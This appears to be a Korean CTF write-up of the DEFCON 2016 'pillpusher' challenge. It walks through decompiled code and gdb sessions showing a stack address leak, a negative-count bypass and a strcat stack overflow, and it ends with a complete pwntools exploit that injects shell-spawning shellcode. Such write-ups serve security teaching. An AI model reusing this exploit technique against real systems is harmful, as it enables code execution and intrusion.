- Created by Lazenca.0x0, last modified on Apr 28, 2017
List
Infomation
Description
D00d you gotta fix for me?
pillpusher_a3b929dac1a7ca27fe5474bae0432262.quals.shallweplayaga.me:43868
File
Source Code
Writeup
File information
lazenca0x0@ubuntu:~/CTF/DEFCON2016/Pwnable/glados$ file ./glados ./glados: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped lazenca0x0@ubuntu:~/CTF/DEFCON2016/Pwnable/glados$ checksec -f ./glados RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No 0 0 ./glados
- 해당 프로그램을 실행 하면 다음과 같은 기능 목록을 확인할 수 있습니다. 
autolycos@ubuntu:~/CTF/DEFCON2016/Pwnable/pillpusher$ ./pillpusher 1) Pharmacy Menu 2) Pill Menu 3) Pharmacist Menu 4) Patient Menu 5) Scrip Menu 6) Exit
Binary analysis
AddPill()
- AddPill() 함수는 다음과 같은 기능을 합니다.- 사용자로부터 필요한 데이터들을 입력 받고 있습니다. - 최대 256개의 문자를 입력 받을 수 있습니다.
 
- 입력받은 pillname은 checkPillList() 함수를 이용해 기존에 등록된 값인지 확인합니다.
- 유저로 부터 입력받은 pillname 문자열은 해당 문자열의 길이 만큼 pillInfo→pillName 영역에 복사됩니다.
- 여기에서 stack address가 leak되는 취약성이 있습니다.
 
__int64 AddPill()
{
  unsigned __int64 v0; // rt0@1
  __int64 result; // rax@2
  struct_v4 *newPill; // rbx@9 MAPDST
  char tmp[256]; // [rsp-130h] [rbp-130h]@1
  unsigned int len; // [rsp-28h] [rbp-28h]@1 MAPDST
  int v9; // [rsp-24h] [rbp-24h]@1
  unsigned __int64 v10; // [rsp-8h] [rbp-8h]@1
  v0 = __getcallerseflags();
  v10 = v0;
  v9 = 0;
  len = 0;
  memset(tmp, 0LL, 256LL);
  printf("Pill Name: ");
  read(0LL, tmp, 10LL, 256LL);
  if ( (unsigned int)CheckPillList(tmp) )
  {
    result = printf("No home slice it is already there\n");
  }
  else
  {
    newPill = (struct_v4 *)malloc(64LL);
    len = strlen(tmp);
    if ( !newPill )
    {
      printf("Done gone and screwed up.\n");
      exit();
    }
    memset(newPill, 0LL, 64LL);
    newPill->name = malloc(len + 1);
    if ( !newPill->name )
    {
      printf("Didn't work\n");
      exit();
    }
    memset(newPill->name, 0LL, len + 1);
    len = strlen(tmp);
    memcpy(newPill->name, tmp, len);
    printf("Dosage: ");
    memset(tmp, 0LL, 256LL);
    len = 0;
    read(0LL, tmp, 10LL, 256LL);
    newPill->dosage = atoi(tmp);
    printf("Schedule: ");
    memset(tmp, 0LL, 256LL);
    read(0LL, tmp, 10LL, 256LL);
    newPill->schedule = atoi(tmp);
    printf("List what this pill treats. Blank line to quit.\n");
    while ( 1 )
    {
      printf(": ");
      memset(tmp, 0LL, 256LL);
      len = read(0LL, tmp, 10LL, 256LL);
      if ( !len )
        break;
      addPillTreats(newPill, tmp, len);
    }
    printf("List other pills this interacts with. Blank line to quit.\n");
    while ( 1 )
    {
      printf(": ");
      memset(tmp, 0LL, 256LL);
      if ( !(unsigned int)read(0LL, tmp, 10LL, 256LL) )
        break;
      addPillInteracts(newPill, tmp);
    }
    printf("List all side effects. Blank line to quit.\n");
    while ( 1 )
    {
      printf(": ");
      memset(tmp, 0LL, 256LL);
      if ( !(unsigned int)read(0LL, tmp, 10LL, 256LL) )
        break;
      addPillSideEffects(newPill, tmp);
    }
    result = addPill(newPill);
  }
  __writeeflags(v10);
  return result;
}
- 다음과 같이 디버깅을 통해 address leak에 대한 취약성을 확인해보겠습니다.- "tmp"의 메모리 영역은 0x7fffffffe090 ~ 0x7fffffffe190입니다.- 0x7fffffffe090 + 0x100(256) = 0x7fffffffe190
 
- 그리고 0x7fffffffe190 영역에 stack address가 저장되어 있습니다.
- 즉, 사용자가 "tmp"영역에 256개의 문자를 저장하면 stack address를 얻을 수 있습니다.- "tmp"와 0x7fffffffe190 영역 사이에 공백이 없으면 프로그램은 두 영역을 하나의 문자열로 인식합니다.
 
 
- "tmp"의 메모리 영역은 0x7fffffffe090 ~ 0x7fffffffe190입니다.
autolycos@ubuntu:~/Documents/DEFCON 2016/Pwnable$ gdb -q ./pillpusher Reading symbols from ./pillpusher...(no debugging symbols found)...done. (gdb) set disassembly-flavor intel (gdb) b *0x0400C6E Breakpoint 1 at 0x400c6e (gdb) r Starting program: /home/autolycos/Documents/DEFCON 2016/Pwnable/pillpusher 1) Pharmacy Menu 2) Pill Menu 3) Pharmacist Menu 4) Patient Menu 5) Scrip Menu 6) Exit -> 2 1) Add a Pill 2) Random Pill 3) List Pills 4) Modify Pill 5) "Lose" Pills 6) Leave Menu -> 1 Pill Name: Breakpoint 1, 0x0000000000400c6e in ?? () (gdb) x/2i $rip => 0x400c6e: call 0x40018a 0x400c73: lea rax,[rbp-0x120] (gdb) i r rdi rdi 0x0 0 (gdb) i r rsi rsi 0x7fffffffe090 140737488347280 (gdb) x/34gx 0x7fffffffe090 0x7fffffffe090: 0x0000000000000000 0x0000000000000000 0x7fffffffe0a0: 0x0000000000000000 0x0000000000000000 0x7fffffffe0b0: 0x0000000000000000 0x0000000000000000 0x7fffffffe0c0: 0x0000000000000000 0x0000000000000000 0x7fffffffe0d0: 0x0000000000000000 0x0000000000000000 0x7fffffffe0e0: 0x0000000000000000 0x0000000000000000 0x7fffffffe0f0: 0x0000000000000000 0x0000000000000000 0x7fffffffe100: 0x0000000000000000 0x0000000000000000 0x7fffffffe110: 0x0000000000000000 0x0000000000000000 0x7fffffffe120: 0x0000000000000000 0x0000000000000000 0x7fffffffe130: 0x0000000000000000 0x0000000000000000 0x7fffffffe140: 0x0000000000000000 0x0000000000000000 0x7fffffffe150: 0x0000000000000000 0x0000000000000000 0x7fffffffe160: 0x0000000000000000 0x0000000000000000 0x7fffffffe170: 0x0000000000000000 0x0000000000000000 0x7fffffffe180: 0x0000000000000000 0x0000000000000000 0x7fffffffe190: 0x00007fffffffe1c8 0x0000000000000000 (gdb)
- 다음과 같이 "Side Effects: ", "Interactions: "에서도 stack address를 출력할 수 있습니다.
Name: AAAAAAAAAA ...생략 ... AAAAAA`x)f Dosage: 0 Schedule: 0 Treats: 1) AAAAAAAAAA ...생략 ... AAAAAA Side Effects: 1) AAAAAAAAAA ...생략 ... AAAAAA`x)f Interactions: 1) AAAAAAAAAA ...생략 ... AAAAAA`x)f
AddScrip()
- "Add Scrip"기능을 이용하기 위해서는 다음과 같이 사전에 필요한 정보를 저장해야합니다.
autolycos@ubuntu:~/CTF/DEFCON2016/Pwnable/pillpusher$ ./pillpusher 1) Pharmacy Menu 2) Pill Menu 3) Pharmacist Menu 4) Patient Menu 5) Scrip Menu 6) Exit -> 2 1) Add a Pill 2) Random Pill 3) List Pills 4) Modify Pill 5) "Lose" Pills 6) Leave Menu -> 1 Pill Name: Vitamin1 Dosage: 1 Schedule: 1 List what this pill treats. Blank line to quit. : AAAA : List other pills this interacts with. Blank line to quit. : BBBB : List all side effects. Blank line to quit. : CCCC : 1) Add a Pill 2) Random Pill 3) List Pills 4) Modify Pill 5) "Lose" Pills 6) Leave Menu -> 1 Pill Name: Vitamin2 Dosage: 1 Schedule: 1 List what this pill treats. Blank line to quit. : AAAA : List other pills this interacts with. Blank line to quit. : BBBB : List all side effects. Blank line to quit. : CCCC : 1) Add a Pill 2) Random Pill 3) List Pills 4) Modify Pill 5) "Lose" Pills 6) Leave Menu -> 6
1) Pharmacy Menu 2) Pill Menu 3) Pharmacist Menu 4) Patient Menu 5) Scrip Menu 6) Exit -> 3 1) Add Pharmacist 2) Remove Pharmacist 3) Update Pharmacist 4) List Pharmacists 5) Back up -> 1 Name: Sam Certification Level: 1 1) Add Pharmacist 2) Remove Pharmacist 3) Update Pharmacist 4) List Pharmacists 5) Back up -> 5
1) Pharmacy Menu
2) Pill Menu
3) Pharmacist Menu
4) Patient Menu
5) Scrip Menu
6) Exit
-> 1
1) Create Pharmacy
2) Update Pharmacy
3) Delete Pharmacy
4) List Pharmacies
5) Go up
-> 1
What is the "Pharmacy"'s name? Lazenca
Name: Vitamin1
    Dosage: 1
    Schedule: 1
    Treats:
        1) AAAA
    Side Effects:
        1) CCCC
    Interactions:
        1) BBBB
 
Name: Vitamin2
    Dosage: 1
    Schedule: 1
    Treats:
        1) AAAA
    Side Effects:
        1) CCCC
    Interactions:
        1) BBBB
 
Add pills. Blank line to quit.
: Vitamin1
: Vitamin2
:
1) Sam -- 1
 
Add staff. Blank line to quit.
: Sam
:
1) Create Pharmacy
2) Update Pharmacy
3) Delete Pharmacy
4) List Pharmacies
5) Go up
-> 5
1) Pharmacy Menu 2) Pill Menu 3) Pharmacist Menu 4) Patient Menu 5) Scrip Menu 6) Exit -> 4 1) Add Patient 2) Delete Patient 3) Update Patient 4) List Patients 5) Leave menu -> 1 Patient name: min Would you like to enter symptoms? (Y/n): Y : DDDD : 1) Add Patient 2) Delete Patient 3) Update Patient 4) List Patients 5) Leave menu -> 5
1) Pharmacy Menu
2) Pill Menu
3) Pharmacist Menu
4) Patient Menu
5) Scrip Menu
6) Exit
-> 5
Current Pharmacy: None
Current Pharmacist: None
Current Patient: None
1) Select a Pharmacy
2) Select a Pharmacist
3) Select a Patient
4) Add Scrip
5) Leave
-> 1
Name: Lazenca
Stock:
    Vitamin1
    Vitamin2
Staff:
    Sam
 
: Lazenca
Current Pharmacy: Lazenca
Current Pharmacist: None
Current Patient: None
1) Select a Pharmacy
2) Select a Pharmacist
3) Select a Patient
4) Add Scrip
5) Leave
-> 2
1) Sam
: 1
Current Pharmacy: Lazenca
Current Pharmacist: Sam
Current Patient: None
1) Select a Pharmacy
2) Select a Pharmacist
3) Select a Patient
4) Add Scrip
5) Leave
-> 3
Name: min
Symptoms:
    1) DDDD
: min
Current Pharmacy: Lazenca
Current Pharmacist: Sam
Current Patient: min
1) Select a Pharmacy
2) Select a Pharmacist
3) Select a Patient
4) Add Scrip
5) Leave
->
- 해당 함수는 다음과 같은 기능을 합니다.- 사전에 선택한 약국, 약사, 환자 정보를 인자값으로 전달 받습니다.
- 사용자로 부터 다음 질문에 대한 값을 입력 받습니다.- "How many pills to add"
- "Add pill:"
 
- 추가할 후 있는 약의 갯수는 2개로 제한하고 있습니다.- 하지만 음수(-)를 이용해 더 많은 약을 추가할 수 있습니다.
 
 
void __usercall AddScrip(struct_patient *patient@<rdx>, __int64 a2@<rbp>, __int64 pharmacy@<rdi>, __int64 pharmacist@<rsi>)
{
  unsigned __int64 v4; // rt0@1
  int lenScript; // eax@18 MAPDST
  unsigned int len; // eax@18
  char tmp[512]; // [rsp+18h] [rbp-430h]@4
  __int64 status; // [rsp+220h] [rbp-228h]@4
  __int64 extra; // [rsp+228h] [rbp-220h]@4
  __int64 count; // [rsp+230h] [rbp-218h]@4 MAPDST
  char script[512]; // [rsp+238h] [rbp-210h]@7
  unsigned __int64 v17; // [rsp+440h] [rbp-8h]@1
  v4 = __getcallerseflags();
  v17 = v4;
  if ( pharmacy && pharmacist && patient )
  {
    count = 0LL;
    status = 0LL;
    count = 0LL;
    extra = 0LL;
    memset(tmp, 0LL, 512LL);
    printf("How many pills to add: ");
    count = (signed int)UserInputInt(a2, 0);
    if ( count > 2 )
      count = 2LL;
    pharmacist = 0LL;
    memset(script, 0LL, 512LL);
    while ( count )
    {
      listPill((__int64 *)pharmacy);
      printf("Add pill: ");
      status = addPillScript(pharmacy, pharmacist, (__int64)patient, (__int64)script);
      if ( status == 1 )
      {
        --count;
        ++extra;
      }
      else if ( !status )
      {
        break;
      }
    }
    if ( extra > 0 )
    {
      if ( patient->scripts )
        free(patient->scripts);
      lenScript = strlen(script);
      patient->scripts = malloc((unsigned int)(lenScript + 1));
      if ( !patient->scripts )
      {
        printf("Fail\n");
        exit(0LL, pharmacist);
      }
      lenScript = strlen(script);
      memset(patient->scripts, 0LL, (unsigned int)(lenScript + 1));
      len = strlen(script);
      memcpy(patient->scripts, script, len);
    }
  }
  __writeeflags(v17);
}
addPillScript()
- 해당 함수는 다음과 같은 기능을 합니다.- 사용자로 부터 추가할 pill의 이름을 입력 받습니다.
- 추가할 약(pill)의 이름이 사전에 등록되어 있는지 확인합니다.
- 사용자가 입력한 약의 이름이 사전에 등록되어 있다면 다음과 같이 동작합니다.- 해당 약 이름에 대한 길이를 출력합니다.
- 'script'에 저장된 문자열 뒤에 해당 약 이름을 붙입니다.(strcat() 함수 사용)
 
- 취약성은 여기서 발생합니다.- "Add pill"의 값으로 2 이상의 값을 입력할 수 있다면, strcat()함수에 의해 Stack Overflow가 발생합니다.
 
 
signed __int64 __fastcall addPillScript(pharmacy *pharmacy, __int64 pharmacist, patient *patient, char *__attribute__((__org_arrdim(0,256))) script)
{
  unsigned __int64 v4; // rt0@1
  signed __int64 result; // rax@5
  int j; // eax@31 MAPDST
  char tmp[256]; // [rsp+20h] [rbp-130h]@6
  int v13; // [rsp+120h] [rbp-30h]@1
  pill *pill; // [rsp+128h] [rbp-28h]@1
  __int64 status; // [rsp+130h] [rbp-20h]@1
  int i; // [rsp+13Ch] [rbp-14h]@1
  unsigned __int64 v18; // [rsp+148h] [rbp-8h]@1
  v4 = __getcallerseflags();
  v18 = v4;
  i = 0;
  j = 0;
  status = 0LL;
  pill = 0LL;
  v13 = 0;
  if ( pharmacy && pharmacist && patient && script )
  {
    memset(tmp, 0LL, 256LL);
    if ( (unsigned int)read(0LL, tmp, 10LL, 256LL) )
    {
      for ( i = 0; pharmacy->pill_max > i; ++i )
      {
        if ( pharmacy->stock[i] && !(unsigned int)strncmp(pharmacy->stock[i]->name, tmp, 256LL) )
        {
          printf("strncmp found it.\n");
          pill = pharmacy->stock[i];
          break;
        }
      }
      if ( pill )
      {
        for ( i = 0; patient->symptom_cnt > i && !status; ++i )
        {
          if ( patient->symptoms[i] )
          {
            for ( j = 0; pill->treats_count > j && !status; ++j )
            {
              if ( !(unsigned int)strncmp(patient->symptoms[i], pill->treats[j], 256LL) )
                status = 1LL;
            }
          }
        }
        j = strlen(pill->name);
        printf("Len: %d\n");
        if ( status )
        {
          if ( pill->schedule <= *(_DWORD *)(pharmacist + 8) )
          {
            strcat(script, pill->name);
            script[++j] = 32;
            script[++j] = 32;
            script[++j] = 32;
            script[++j] = 32;
            result = 1LL;
          }
          else
          {
            printf("This doc isn't qualified.\n");
            result = 0LL;
          }
        }
        else
        {
          printf("Pill solves nothing. You pill pusher.\n");
          result = 0LL;
        }
      }
      else
      {
        printf("Invalid\n");
        result = 0LL;
      }
    }
    else
    {
      printf("Blank line.\n");
      result = 0LL;
    }
  }
  else
  {
    result = 0LL;
  }
  __writeeflags(v18);
  return result;
}
- 다음은 디버깅을 통해 Overflow를 확인한 내용입니다.- 사전에 문자 'A' 256개를 "Pill name"으로 등록합니다. 
- "How many pills to add: "의 값으로 '-1'을 입력합니다. 
- "Add pill"에 등록한 'A' 256개를 입력하면 script 변수에 계속 해당 약의 이름이 이어서 저장되는 것을 확인할 수 있습니다. 
- Stack Overflow 후에 공백을 입력해 addPillScript() 함수를 종료하면 Segmentation fault 발생하게 됩니다. 
 
Current Pharmacy: lazenca0x0 Current Pharmacist: lazenca0x0 Current Patient: test 1) Select a Pharmacy 2) Select a Pharmacist 3) Select a Patient 4) Add Scrip 5) Leave -> 4 How many pills to add: -1 Pills available at: lazenca0x0 1) AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA???? Add pill: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA strncmp found it. Len: 262 Breakpoint 1, 0x0000000000407368 in ?? () (gdb) i r rdi rdi 0x7fffffffdea0 140737488346784 (gdb) c Continuing. Breakpoint 2, 0x000000000040736d in ?? () (gdb) x/34gx 0x7fffffffdea0 0x7fffffffdea0: 0x4141414141414141 0x4141414141414141 0x7fffffffdeb0: 0x4141414141414141 0x4141414141414141 ... 0x7fffffffdf80: 0x4141414141414141 0x4141414141414141 0x7fffffffdf90: 0x4141414141414141 0x4141414141414141 0x7fffffffdfa0: 0x00007ffff7ffa008 0x0000000000000000 (gdb) c Continuing. Pills available at: lazenca0x0 1) AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA???? Add pill: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA strncmp found it. Len: 262 Breakpoint 1, 0x0000000000407368 in ?? () (gdb) Continuing. Breakpoint 2, 0x000000000040736d in ?? () (gdb) x/70gx 0x7fffffffdea0 0x7fffffffdea0: 0x4141414141414141 0x4141414141414141 0x7fffffffdeb0: 0x4141414141414141 0x4141414141414141 ... 0x7fffffffdf90: 0x4141414141414141 0x4141414141414141 0x7fffffffdfa0: 0x20007ffff7ffa008 0x4141414141412020 0x7fffffffdfb0: 0x4141414141414141 0x4141414141414141 0x7fffffffdfc0: 0x4141414141414141 0x4141414141414141 ... 0x7fffffffe090: 0x4141414141414141 0x4141414141414141 0x7fffffffe0a0: 0x4141414141414141 0x7ffff7ffa0084141 0x7fffffffe0b0: 0x00000000004076bf 0x0000000074736574 0x7fffffffe0c0: 0x0000000000000000 0x0000000000000000 (gdb) c Continuing. Pills available at: lazenca0x0 1) AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA???? Add pill: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA strncmp found it. Len: 262 Breakpoint 1, 0x0000000000407368 in ?? () (gdb) Continuing. Breakpoint 2, 0x000000000040736d in ?? () (gdb) x/100gx 0x7fffffffdea0 0x7fffffffdea0: 0x4141414141414141 0x4141414141414141 0x7fffffffdeb0: 0x4141414141414141 0x4141414141414141 ... 0x7fffffffe1a0: 0x4141414141414141 0x4141414141414141 0x7fffffffe1b0: 0xfff7ffa008414141 0x000000040000007f (gdb) c Continuing. Pills available at: lazenca0x0 1)AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA???? Add pill: Blank line. Program received signal SIGSEGV, Segmentation fault. 0x0000000000407969 in ?? () (gdb) bt #0 0x0000000000407969 in ?? () #1 0x41414141414076bf in ?? () #2 0x4141414141414141 in ?? () #3 0x4141414141414141 in ?? () #4 0x4141414141414141 in ?? () #5 0x4141414141414141 in ?? () #6 0x4141414141414141 in ?? () #7 0x4141414141414141 in ?? () #8 0x4141414141414141 in ?? () #9 0x4141414141414141 in ?? () #10 0x4141414141414141 in ?? () #11 0x4141414141414141 in ?? () #12 0x4141414141414141 in ?? () #13 0x4141414141414141 in ?? () #14 0x4141414141414141 in ?? () #15 0x4141414141414141 in ?? () #16 0x4141414141414141 in ?? () #17 0x4141414141414141 in ?? () #18 0x4141414141414141 in ?? () #19 0x4141414141414141 in ?? () #20 0x4141414141414141 in ?? () #21 0x4141414141414141 in ?? () #22 0x4141414141414141 in ?? () ---Type <return> to continue, or q <return> to quit---
Vulnerability code
Stack Address Leak
__int64 AddPill()
{
  ...
  memset(tmp, 0LL, 256LL);
  printf("Pill Name: ");
  read(0LL, tmp, 10LL, 256LL);
  ...
bypass limite
void __usercall AddScrip(struct_patient *patient@<rdx>, __int64 a2@<rbp>, __int64 pharmacy@<rdi>, __int64 pharmacist@<rsi>)
{
	...
    printf("How many pills to add: ");
    count = (signed int)UserInputInt(a2, 0);
    if ( count > 2 )
      count = 2LL;
Stack Overflow
signed __int64 __fastcall addPillScript(pharmacy *pharmacy, __int64 pharmacist, patient *patient, char *__attribute__((__org_arrdim(0,256))) script)
{
  ...
          if ( pill->schedule <= *(_DWORD *)(pharmacist + 8) )
          {
            strcat(script, pill->name);
            script[++j] = 32;
            script[++j] = 32;
            script[++j] = 32;
            script[++j] = 32;
            result = 1LL;
          }
   ...
Structure of Exploit code
- PillName으로 문자 256개를 입력하여 공격에 사용될 주소 값을 추출합니다. 
- 공격에 필요한 정보를 등록합니다. - shellcode
- shellcode가 저장되어 있는 address
 
- "How many pills to add:" 의 값으로 -1을 입력합니다. 
- Shellcode와 Shellcode가 저장된 주소값을 Pill Name으로 등록합니다.
- The following information is required for an attack:
- Shellcode가 저장되 주소 값 계산 (offset 구하기)
Information for attack
Get offset(Shellcode가 저장된 영역 )
- 앞에서 확인했 듯이 "Pill Name"으로 문자 256개를 입력하여 Stack 주소 값을 얻을 수 있습니다.- Leaked stack address : "0x00007fffffffe2a8"
- 사용자가 입력한 값이 저장된 영역(0x7fffffffe170)에서 0x138 만큼 떨어져 있습니다.
 
(gdb) b *0x400C82 Breakpoint 10 at 0x400c82 (gdb) r The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/autolycos/CTF/DEFCON2016/Pwnable/pillpusher/pillpusher 1) Pharmacy Menu 2) Pill Menu 3) Pharmacist Menu 4) Patient Menu 5) Scrip Menu 6) Exit -> 2 1) Add a Pill 2) Random Pill 3) List Pills 4) Modify Pill 5) "Lose" Pills 6) Leave Menu -> 1 Pill Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Breakpoint 10, 0x0000000000400c82 in ?? () (gdb) x/40gx 0x7fffffffe170 0x7fffffffe170: 0x4141414141414141 0x4141414141414141 0x7fffffffe180: 0x4141414141414141 0x4141414141414141 0x7fffffffe190: 0x4141414141414141 0x4141414141414141 0x7fffffffe1a0: 0x4141414141414141 0x4141414141414141 0x7fffffffe1b0: 0x4141414141414141 0x4141414141414141 0x7fffffffe1c0: 0x4141414141414141 0x4141414141414141 0x7fffffffe1d0: 0x4141414141414141 0x4141414141414141 0x7fffffffe1e0: 0x4141414141414141 0x4141414141414141 0x7fffffffe1f0: 0x4141414141414141 0x4141414141414141 0x7fffffffe200: 0x4141414141414141 0x4141414141414141 0x7fffffffe210: 0x4141414141414141 0x4141414141414141 0x7fffffffe220: 0x4141414141414141 0x4141414141414141 0x7fffffffe230: 0x4141414141414141 0x4141414141414141 0x7fffffffe240: 0x4141414141414141 0x4141414141414141 0x7fffffffe250: 0x4141414141414141 0x4141414141414141 0x7fffffffe260: 0x4141414141414141 0x4141414141414141 0x7fffffffe270: 0x00007fffffffe2a8 0x0000000000000000 0x7fffffffe280: 0x0000000000000031 0x0000000000000000 0x7fffffffe290: 0x00007fffffffe2e0 0x0000000000000293 0x7fffffffe2a0: 0x0000000000403a1f 0x0000000000000032 (gdb) p/x 0x00007fffffffe2a8 - 0x7fffffffe170 $4 = 0x138
return address
- 다음과 같이 Overwrite할 영역을 찾습니다.- script 값은 addPill() 함수에서 생성되었기 때문에 addPill() 함수의 ret 명령어에 break point를 설정합니다. 
- return 될 주소가 저장된 영역을 0x7fffffffe0b0 입니다. 
- script 영역으로 부터 528byte 떨어져 있습니다. - 0x7fffffffe0b0 - 0x7fffffffdea0 = 528 
 
 
Breakpoint 4, 0x0000000000407969 in ?? () (gdb) x/i $rip => 0x407969: ret (gdb) i r rsp rsp 0x7fffffffe0b0 0x7fffffffe0b0 (gdb) x/gx 0x7fffffffe0b0 0x7fffffffe0b0: 0x41414141414076bf (gdb) p/x 0x7fffffffe0b0 - 0x7fffffffdea0 $2 = 0x210 (gdb) p/d 0x7fffffffe0b0 - 0x7fffffffdea0 $3 = 528 (gdb)
- Shellcode가 저장되 주소 값 계산 (offset 구하기) : leak Address - 0x60 
Exploit Code
from pwn import *
 
p = process("./pillpusher")
 
def AddaPill(name):
    p.recvuntil('-> ')
    p.sendline('2')
    p.recvuntil('-> ')
    p.sendline('1')
    p.recvuntil('Pill Name: ')
    p.sendline(name)
    p.recvuntil('Dosage: ')
    p.sendline('1')
    p.recvuntil('Schedule: ')
    p.sendline('1')
    p.recvuntil(':')
    p.sendline('test')
    p.sendline('')
    p.recvuntil(':')
    p.sendline('')
    p.recvuntil(':')
    p.sendline('')
    p.recvuntil('-> ')
    p.sendline('6')
     
def ListPills(name):
    p.recvuntil('-> ')
    p.sendline('2')
    p.recvuntil('-> ')
    p.sendline('3')
    p.recvuntil(pillname)
    addr = p.recvuntil('\n\t').split("\n\t")[0]
    p.recvuntil('-> ')
    p.sendline('6')
    addr = u64(addr + "\x00\x00")
    return addr
 
def AddPharmacist(name):
    p.recvuntil('-> ')
    p.sendline('3')
    p.recvuntil('-> ')
    p.sendline('1')
    p.recvuntil('Name: ')
    p.sendline(name)
    p.recvuntil('Certification Level: ')
    p.sendline('1')
    p.recvuntil('-> ')
    p.sendline('5')
 
def CreatePharmacy(name,pills,staff):
    p.recvuntil('-> ')
    p.sendline('1')
    p.recvuntil('-> ')
    p.sendline('1')
    p.recvuntil('What is the \"Pharmacy\"\'s name? ')
    p.sendline(name)
    for x in pills:
        p.recvuntil(': ')
        p.sendline(x)
    p.recvuntil(': ')
    p.sendline('')
 
    p.recvuntil(': ')
    p.sendline(staff)
    p.sendline('')
 
    p.recvuntil('-> ')
    p.sendline('5')
     
 
def AddPatient(patient):
    p.recvuntil('-> ')
    p.sendline('4')
    p.recvuntil('-> ')
    p.sendline('1')
    p.recvuntil('Patient name: ')
    p.sendline(patient)
    p.recvuntil('Would you like to enter symptoms? (Y/n): ')
    p.sendline('Y')
    p.recvuntil(': ')
    p.sendline('test')
    p.sendline('')
    p.recvuntil('-> ')
    p.sendline('5')
 
def AddScript(Pharmacy,Pharmacist,Patient,Pills):
    p.recvuntil('-> ')
    p.sendline('5')
 
    p.recvuntil('-> ')
    p.sendline('1')
    p.recvuntil(': ')
    p.sendline(Pharmacy)
 
    p.recvuntil('-> ')
    p.sendline('2')
    p.recvuntil(': ')
    p.sendline(Pharmacist)
 
    p.recvuntil('-> ')
    p.sendline('3')
    p.recvuntil(': ')
    p.sendline(Patient)
 
    p.recvuntil('-> ')
    p.sendline('4')
     
    p.recvuntil('How many pills to add: ')
    p.sendline('-1')
 
    for x in Pills:
        p.recvuntil(': ')
        p.sendline(x)
    p.recv()
    p.sendline('')
 
shellcode = asm(shellcraft.amd64.sh(),arch="amd64")
nop = '\x90' * (0x100 - len(shellcode))
pillname = nop + shellcode
 
AddaPill(pillname)
 
 
stackAddr = ListPills(pillname)
stackAddr += 0x130
print "Leak stack Addr : " + format(hex(stackAddr))
 
overflow = 'B' * 24 + p64(stackAddr)
 
nop = '\x90' * (250 - len(shellcode))
pillname = nop + shellcode
AddaPill(pillname)
AddaPill(overflow)
AddPharmacist("lazenca0x0")
CreatePharmacy("lazenca0x0",[overflow,pillname],"lazenca0x0")
